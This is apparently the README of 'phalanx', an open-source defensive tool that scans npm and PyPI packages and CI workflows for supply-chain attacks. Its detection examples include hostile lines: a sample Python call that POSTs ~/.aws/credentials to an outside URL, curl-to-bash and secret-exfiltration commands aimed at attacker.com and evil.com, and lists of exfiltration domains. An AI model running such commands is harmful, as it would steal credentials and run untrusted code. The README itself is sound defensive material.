Skip to content

Mah3Sec/phalanx

Repository files navigation

phalanx

Community-powered supply chain attack detection

License: MIT Go Signatures Version

The phalanx formation was unbreakable because every soldier protected the one beside them.
This tool works the same way — every contributor adds a signature, the wall gets stronger.

@Mah3sec


the problem

npm audit missed the Axios attack completely.
March 2026. North Korean RAT. 100 million weekly downloads. Deployed on developer machines within 2 seconds of npm install.
Traditional tools check CVE databases. They don't watch behavior.

Phalanx scored it 87/100 CRITICAL within 60 seconds of publish.


where phalanx sits

Developer types:  npm install some-package
                          │
                          ▼
              ┌─────────────────────┐
              │   phalanx proxy     │  ← intercepts BEFORE download
              │   localhost:9874    │
              └────────┬────────────┘
                       │  scans metadata + 6 behavioral signals
                       │  checks 18 community signatures
                       ▼
              ┌─────────────────────┐
              │   score 0 - 100     │
              └────────┬────────────┘
                       │
             ┌─────────┴──────────┐
        score < 70           score ≥ 70
             │                    │
             ▼                    ▼
      install proceeds        BLOCKED
      (CLEAN shown)      (nothing downloads)

No other free tool sits here. npm audit runs after install. Dependabot bumps versions. Socket.dev requires a paid GitHub App. Phalanx blocks at the registry level, free, with community signatures anyone can write.


what it covers

layer attack surface command status
0 IDE — before typing npm install VS Code extension coming
1 Source code / GitHub commits scan-repo ✔ built
2 CI/CD pipeline workflows scan-ci ✔ built
3 Package registry scan watch proxy ✔ core
4 Dependency confusion confuse-check ✔ built
4 AI zero-day code analysis ai-scan ✔ built
4 AI agent protection serve ✔ built
5 Infrastructure / DNS / CDN coming v0.4
6 Developer machine agent Enterprise

install

go install github.com/Mah3sec/phalanx/cmd/phalanx@latest

Requires Go 1.21+. 18 signatures embedded in the binary — no extra setup needed.

phalanx --version   # phalanx v0.3.0
phalanx test        # ✔ All 6 tests passed
phalanx signatures  # shows all 18 loaded signatures

Pre-built binaries (no Go needed):

# macOS Apple Silicon
curl -sSfL https://github.com/Mah3sec/phalanx/releases/latest/download/phalanx-darwin-arm64 \
  -o /usr/local/bin/phalanx && chmod +x /usr/local/bin/phalanx

# macOS Intel
curl -sSfL https://github.com/Mah3sec/phalanx/releases/latest/download/phalanx-darwin-amd64 \
  -o /usr/local/bin/phalanx && chmod +x /usr/local/bin/phalanx

# Linux
curl -sSfL https://github.com/Mah3sec/phalanx/releases/latest/download/phalanx-linux-amd64 \
  -o /usr/local/bin/phalanx && chmod +x /usr/local/bin/phalanx

quick start — 3 commands to get protected

# 1. scan any package before installing
phalanx scan axios

# 2. start proxy — every npm install auto-scanned from now on
phalanx proxy &
npm config set registry http://localhost:9874

# 3. check your project's CI workflows for attack patterns
phalanx scan-ci .

all commands

scan — check one package right now

Fetches registry metadata and runs 6 behavioral checks. Results in 3-5 seconds.

# npm packages
phalanx scan axios
phalanx scan lodash
phalanx scan axios@1.14.1          # specific version

# python packages — add pypi: prefix
phalanx scan pypi:requests
phalanx scan pypi:litellm
phalanx scan pypi:litellm@1.82.7   # specific version

# save output
phalanx scan axios --save report.txt        # plain text, shareable
phalanx scan axios --save-json report.json  # JSON with full trace + mitigation
phalanx scan axios --json                   # JSON to stdout (for scripts)

What the output looks like for a critical package:

  █▌  CRITICAL  ▐█

  NPM   axios
  version    1.14.0  →  1.14.1
  published  2026-03-31  00:21 UTC  (just now)
  score      87 / 100  [█████████████████···]

  4 signals detected

  [1] ✖ Publisher Email Changed          +50 pts
       📍 Source    npm registry → _npmUser.email field
       🔍 How found compared email between versions — domain changed
       🧾 Evidence  jasonsaayman@gmail.com → ifstap@proton.me
       🛡 Mitigation
          1. do not install this version
          2. check GitHub for official release announcement
          3. rotate all credentials if already installed

  [2] ✖ Publish Method Changed           +40 pts
       📍 Source    npm registry → _npmOperationalInternal.host
       🧾 Evidence  prev: s3://npm-registry → curr: (manual CLI)

  [3] ✖ New Dependency Added             +45 pts
       🧾 Evidence  plain-crypto-js@^4.2.1

  [4] ⚠ Missing Git Head                 +20 pts
       🧾 Evidence  previous version had gitHead: f6e5d4c3b2a1

  !  CRITICAL — DO NOT INSTALL
  → Rotate ALL credentials if this was already installed
  → Check outbound network logs for unknown C2 domains

Exit codes: 0 clean · 1 warning · 2 critical

# use in scripts
phalanx scan axios || echo "DO NOT INSTALL"
if phalanx scan axios --json | python3 -c "import sys,json; sys.exit(0 if json.load(sys.stdin)['score']<70 else 1)"; then
  npm install axios
fi

watch — continuous 24/7 monitoring

Polls packages every 60 seconds. Fires an alert the moment a suspicious new version appears. Run on a server or leave in a terminal window.

# watch npm packages
phalanx watch axios lodash express react typescript

# watch npm + python together
phalanx watch axios lodash pypi:requests pypi:boto3 pypi:litellm

# custom settings
phalanx watch axios --interval=30s    # poll every 30 seconds
phalanx watch axios --threshold=70    # only alert on score ≥ 70 (default: 40)

# run in background, log to file
phalanx watch axios lodash express >> ~/phalanx.log 2>&1 &

What an alert looks like:

14:03:01  CLEAN    npm  axios@1.14.0       score=0   [····················]
14:04:01  CRITICAL npm  axios@1.14.1       score=87  [█████████████████···]

              ✖  Publisher Email Changed  +50 pts
                 ↳ jasonsaayman@gmail.com → ifstap@proton.me
              ✖  New Dependency Added  +45 pts
                 ↳ plain-crypto-js@^4.2.1
              ✖  Publish Method Changed  +40 pts
              ⚠  Missing Git Head  +20 pts

Run as a systemd service (Linux server):

sudo tee /etc/systemd/system/phalanx.service << 'EOF'
[Unit]
Description=phalanx supply chain monitor
After=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/phalanx watch axios lodash express pypi:requests pypi:boto3
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl enable --now phalanx
sudo journalctl -u phalanx -f   # live logs

proxy — intercept before download

Runs a local server between npm and the real registry. Every npm install is scanned automatically. Score ≥ 70 = install blocked before a single byte downloads.

Step 1 — start the proxy:

phalanx proxy

Output:

  phalanx proxy

  port       9874
  threshold  70/100 — score ≥ this = blocked
  dry-run    false

  configure npm:
  npm config set registry http://localhost:9874

  to revert:
  npm config set registry https://registry.npmjs.org

Step 2 — point npm at it (one time):

npm config set registry http://localhost:9874

Step 3 — install packages normally:

npm install lodash        # → scanned → CLEAN → installs
npm install axios@1.14.1  # → scanned → CRITICAL → BLOCKED

# error shown when blocked:
# npm error 403 Forbidden
# phalanx: install blocked — axios@1.14.1 scored 87/100
# signals: publisher_email_changed (+50), new_dependency_added (+45)
# run: phalanx scan axios for full details

Options:

phalanx proxy --port 9000          # different port
phalanx proxy --threshold 50       # block anything scoring 50+
phalanx proxy --dry-run            # warn but never block (safe to try)
phalanx proxy --allow puppeteer    # never block this package
phalanx proxy --allow puppeteer,sharp,esbuild  # comma-separated allowlist

Run in background:

nohup phalanx proxy > ~/phalanx-proxy.log 2>&1 &

# revert npm to normal registry
npm config set registry https://registry.npmjs.org

ai-scan — AI reads actual package source code

Downloads the real package tarball and sends the source files to Claude for deep behavioral analysis. Catches zero-day attacks that no signature knows about yet.

The LiteLLM attack (March 2026) used a .pth file that executed on every Python interpreter start and survived package removal. AI catches this by actually reading the code — no signature needed.

Setup — requires Anthropic API key:

export ANTHROPIC_API_KEY=sk-ant-api03-...
# get a key at: console.anthropic.com

Usage:

# npm packages
phalanx ai-scan axios
phalanx ai-scan axios@1.14.1

# python packages
phalanx ai-scan pypi:litellm
phalanx ai-scan pypi:litellm@1.82.7

# takes 30-60 seconds — reads actual source files

What it analyzes:

  • package.json, setup.py, pyproject.toml — manifest files
  • Postinstall and preinstall scripts
  • .pth files — Python persistence mechanism
  • index.js, main.js, setup.js — main entry points
  • Any file named "install", "setup", or "init"

What the AI looks for:

  • Credential theft — code reading ~/.ssh/, ~/.aws/, .env, API keys
  • Data exfiltration — outbound HTTP to external servers
  • Persistence — .pth files, cron jobs, shell profile modifications
  • Obfuscation — eval(), base64, hex encoding hiding intent
  • Process execution — spawning shells, running system commands

Example output:

  █▌  CRITICAL  ▐█

  🤖 AI summary
     This package writes a .pth file to Python site-packages that executes
     on every Python interpreter start, even after the package is removed.
     It exfiltrates credentials to an external C2 server.

  [1] ✖ persistence
       Writes litellm_init.pth to site-packages — survives uninstall

       🧾 Evidence
          import subprocess; subprocess.run(['curl','-X','POST',
          'https://models.litellm.cloud/collect', '-d', open(
          os.path.expanduser('~/.aws/credentials')).read()])

       🛡 Mitigation
          Do not install. Rotate all cloud credentials immediately.
          Check site-packages for unexpected .pth files:
          python3 -c "import site; print(site.getsitepackages())"

  !  CRITICAL — DO NOT INSTALL
  → AI detected malicious code in the actual package source

serve — REST API for AI agents

Runs a local REST API that AI coding agents (Claude Code, Cursor, Devin, GitHub Copilot) can query before every package install. The agent asks phalanx "is this safe?" and respects the answer.

Start the server:

phalanx serve
# starts on http://localhost:9875

Output:

  phalanx agent API running on http://localhost:9875

  endpoints:
    GET  /check?pkg=axios&ver=1.14.1&eco=npm   fast check (~2s)
    GET  /scan?pkg=axios&ver=1.14.1&eco=npm    deep AI scan (~30s)
    GET  /health                                status

  signatures: 18 loaded
  ai enabled: false (set ANTHROPIC_API_KEY to enable /scan)

Fast check endpoint — 2 seconds:

curl "http://localhost:9875/check?pkg=axios&ver=1.14.1&eco=npm"
{
  "package": "axios",
  "version": "1.14.1",
  "ecosystem": "npm",
  "safe": false,
  "score": 87,
  "verdict": "CRITICAL",
  "action": "block",
  "signals": [
    "publisher_email_changed (+50 pts)",
    "publish_method_changed (+40 pts)"
  ],
  "message": "DO NOT INSTALL: axios@1.14.1 scored 87/100..."
}

Deep AI scan endpoint — 30 seconds:

export ANTHROPIC_API_KEY=sk-ant-...
curl "http://localhost:9875/scan?pkg=litellm&ver=1.82.7&eco=pypi"
{
  "package": "litellm",
  "version": "1.82.7",
  "score": 95,
  "verdict": "CRITICAL",
  "summary": "Package writes .pth file that exfiltrates credentials...",
  "findings": [
    {
      "type": "persistence",
      "severity": "critical",
      "description": "Writes .pth file to site-packages",
      "evidence": "litellm_init.pth found in package"
    }
  ]
}

Health check:

curl http://localhost:9875/health
# {"status":"ok","signatures":18,"ai_enabled":true}

Options:

phalanx serve --port 9000          # different port
phalanx serve --threshold 50       # flag anything scoring 50+

For Claude Code — add to system prompt:

Before running npm install or pip install for any package,
call GET http://localhost:9875/check?pkg={package_name}&eco={npm or pypi}.
If the response contains "safe": false or "action": "block",
do NOT install the package and explain the risk to the user.

For any AI agent (simple check):

import requests

def is_safe_to_install(package, version="", ecosystem="npm"):
    try:
        r = requests.get(f"http://localhost:9875/check",
                        params={"pkg": package, "ver": version, "eco": ecosystem},
                        timeout=10)
        data = r.json()
        return data.get("safe", True), data.get("message", "")
    except:
        return True, ""  # fail open if phalanx not running

safe, reason = is_safe_to_install("axios", "1.14.1")
if not safe:
    print(f"BLOCKED: {reason}")
else:
    os.system("pip install axios")

scan-repo — check a GitHub repository

Scans recent commits and contributors for supply chain attack signals.

# public repo — no token (60 req/hour limit)
phalanx scan-repo axios/axios
phalanx scan-repo github.com/axios/axios   # both formats work

# with GitHub token — 5000 req/hour
export GITHUB_TOKEN=ghp_your_token
phalanx scan-repo axios/axios

# or inline
phalanx scan-repo axios/axios --token ghp_xxx

Get a GitHub token:

  1. Go to github.com/settings/tokens/new
  2. Note: phalanx
  3. Check public_repo
  4. Generate and copy

What it detects:

  • Commits with suspicious keywords (backdoor, payload, exfil, RAT)
  • Commits from anonymous or ProtonMail/privacy email addresses with no GitHub account
  • Unexpected changes to package.json dependencies
  • Single-contribution accounts with security-sounding usernames

When to use:

  • Before adding a new open source dependency
  • After a high-profile breach to check repos you depend on
  • Before contributing to a project

scan-ci — check CI/CD workflow files

Reads every CI/CD workflow file in a repo and flags attack patterns.
Supports: GitHub Actions, GitLab CI, CircleCI, Jenkinsfile.

phalanx scan-ci .                            # current directory
phalanx scan-ci /path/to/repo               # any directory
phalanx scan-ci .github/workflows/build.yml  # single file

What it detects:

pattern risk example
curl | bash or wget | sh critical curl attacker.com/setup.sh | bash
Secret sent to external URL critical curl -d $API_KEY https://evil.com
Unpinned action @main high uses: actions/checkout@main
Typosquatted action critical uses: @acitons/artifact
eval() in pipeline high eval "$USER_INPUT"
Known exfil domains critical webhook.site, ngrok.io, requestbin
npm scripts explicitly enabled medium npm install --ignore-scripts=false

Use as a pre-commit hook:

cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
phalanx scan-ci .
if [ $? -eq 2 ]; then
  echo "phalanx: CRITICAL issue in CI workflow — commit blocked"
  exit 1
fi
EOF
chmod +x .git/hooks/pre-commit

confuse-check — dependency confusion detection

Reads your manifest and checks if internal-looking package names are registered on the public registry. If not — an attacker could register that name today and your CI would pull their version.

phalanx confuse-check package.json
phalanx confuse-check requirements.txt
phalanx confuse-check requirements-dev.txt

What it flags:

  • Scoped packages with unknown scope: @mycompany/auth-service
  • Names with internal keywords: internal, private, corp, local
  • Names not found on public npm or PyPI

Example output:

  !  1 HIGH RISK package found

  ✖  @mycompany/auth-service  (npm)
     scoped package — NOT found on public npm
     → Attacker could register this name today
     → Register a placeholder package immediately to claim the name

The fix: Register an empty placeholder package for every internal package name. Claiming the name blocks attackers permanently.


signatures — community attack patterns

18 signatures covering every major supply chain attack from 2018 to 2026.
All embedded in the binary — no internet access needed, always available.

phalanx signatures       # list all 18 signatures

All 18 signatures:

id year severity what happened
event-stream-2018-11 2018 critical Ownership transfer → bitcoin wallet theft, 8M downloads/week
ua-parser-js-2021-10 2021 critical Account hijack → cryptominer + stealer, used by Apple/Microsoft
node-ipc-2022-03 2022 critical Maintainer sabotage → file destruction for Russian IPs
xz-utils-2024-03 2024 critical 2-year social engineering → SSH backdoor (CVE-2024-3094)
rspack-2024-12 2024 critical Stolen CI token → cryptominer, 500k downloads/week
mut8694-roblox-2024-10 2024 high 18 packages targeting Roblox developers
s1ngularity-nx-2025-08 2025 critical CI exploit → 2,349 secrets stolen from 1,079 systems
reviewdog-actions-2025-03 2025 critical Tag mutation → cascading CI secret theft
eslint-config-prettier-2025-08 2025 critical Phishing → Dependabot auto-spread to 14,000 packages
shai-hulud-worm-2025-09 2025 critical First self-propagating npm worm — 500+ packages
chalk-debug-2025-09-08 2025 critical Phishing → crypto wallet hijacker, 2.6B downloads/week
phantomraven-typosquat-2025-10 2025 critical 126 typosquats with 24MB infostealer
acitons-artifact-typosquat-2025-11 2025 high Typosquat → GitHub Actions CI token stealer
solana-pypi-2025-05 2025 critical Monkey-patching → Solana private key theft
teampcp-campaign-2026-03 2026 critical Trivy + KICS + LiteLLM coordinated attack
litellm-pypi-2026-03 2026 critical .pth persistence → 500k creds stolen, K8s lateral movement
telnyx-pypi-2026-03 2026 critical Steganographic WAV payload delivery
axios-2026-03-31 2026 critical DPRK RAT — 100M downloads, North Korean operation

Write a new signature in 5 minutes:

cp signatures/axios-2026-03-31.yaml signatures/new-package-YYYY-MM-DD.yaml
# edit 7 fields, open a PR

Minimum valid signature:

id: package-name-2026-04-10
name: Short description of what happened
severity: critical
ecosystem: npm
package: package-name
published: 2026-04-10
author: your-github-username

Open a PR at github.com/Mah3sec/phalanx — merged within 24 hours of a new attack.


CI/CD integration

# .github/workflows/phalanx.yml
name: phalanx supply chain scan
on:
  pull_request:
    paths:
      - "package.json"
      - "requirements*.txt"
      - ".github/workflows/*.yml"

jobs:
  phalanx:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: install phalanx
        run: go install github.com/Mah3sec/phalanx/cmd/phalanx@latest

      - name: scan npm dependencies
        if: hashFiles('package.json') != ''
        run: |
          node -e "
            const p = require('./package.json');
            const deps = Object.keys({...p.dependencies,...p.devDependencies});
            let failed = false;
            deps.forEach(d => {
              const r = require('child_process')
                .spawnSync('phalanx',['scan',d,'--json'],{encoding:'utf8'});
              const out = JSON.parse(r.stdout||'{}');
              if (out.score >= 70) { console.error('CRITICAL: '+d); failed=true; }
            });
            if (failed) process.exit(2);
          "

      - name: scan CI workflows
        run: phalanx scan-ci .

      - name: check dependency confusion
        if: hashFiles('package.json') != ''
        run: phalanx confuse-check package.json

Exit code 2 = critical = pipeline fails = PR cannot merge.


how scores work

Every scan returns a risk score 0-100.

0         40        70       100
├─────────┼─────────┼─────────┤
  CLEAN    WARNING   CRITICAL

The 6 behavioral signals:

signal weight real example that triggered it
Publisher email changed +50 pts gmail.com → proton.me (Axios 2026)
Publish method changed +40 pts CI/OIDC → manual CLI (Axios 2026)
New dependency injected +25–45 pts plain-crypto-js added (Axios 2026)
Postinstall hook present +30 pts node setup.js (PhantomRaven 2025)
Missing git tag +20 pts no matching GitHub commit (Axios 2026)
Obfuscated script content +40–45 pts eval, base64, hex encoding

Score uses diminishing returns — two 50pt signals = ~75, not 100. Prevents false critical alerts from coincidences.

Reducing false positives:

Some packages legitimately use postinstall (puppeteer downloads Chrome, sharp compiles native binaries):

phalanx proxy --threshold 70       # only block confirmed critical
phalanx proxy --allow puppeteer    # always allow specific packages

quick command reference

phalanx scan <pkg>              check one package now
phalanx scan <pkg> --save X     save report to file
phalanx watch <pkg1> [pkg2...]  watch continuously — 24/7 monitoring
phalanx proxy                   intercept all npm installs before download
phalanx ai-scan <pkg>           AI reads actual package source code
phalanx serve                   REST API for AI agents (Claude Code, Cursor)
phalanx scan-repo <owner/repo>  scan GitHub repo commits + contributors
phalanx scan-ci <path>          scan CI/CD workflow files
phalanx confuse-check <file>    check for dependency confusion risk
phalanx signatures              list all 18 community signatures
phalanx test                    verify detection engine works
phalanx demo                    replay the Axios 2026 DPRK attack offline
phalanx --version               show version

license and commercial use

MIT licensed. Free to use including in commercial products.

Community signatures are MIT. By contributing you protect everyone — same model as Nuclei/ProjectDiscovery.

Phalanx Enterprise — separate commercial product:

  • Hosted dashboard + team management
  • Slack, PagerDuty, JIRA integrations
  • Private signature repositories
  • SOC2 compliance reporting
  • SLA-backed support

x.com/Mah3sec


name

The phalanx was an ancient Greek battle formation — a wall of shields where every soldier protected the one beside them. Unbreakable because it worked as a collective, not as individuals.

Every signature contributed makes the wall stronger for every other developer.


contributing

Most valuable: write a signature for a real attack. See CONTRIBUTING.md.

Code: detection signals in internal/analyzer/, new registry support in internal/poller/.


Signatures based on public research by Elastic, Microsoft, Socket.dev, StepSecurity, Snyk, Wiz, Semgrep, Checkmarx, Sonatype, Datadog Security Labs, and the open source security community.

About

Stops malicious npm and PyPI packages before they reach your machine.

Topics

Resources

Contributing

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages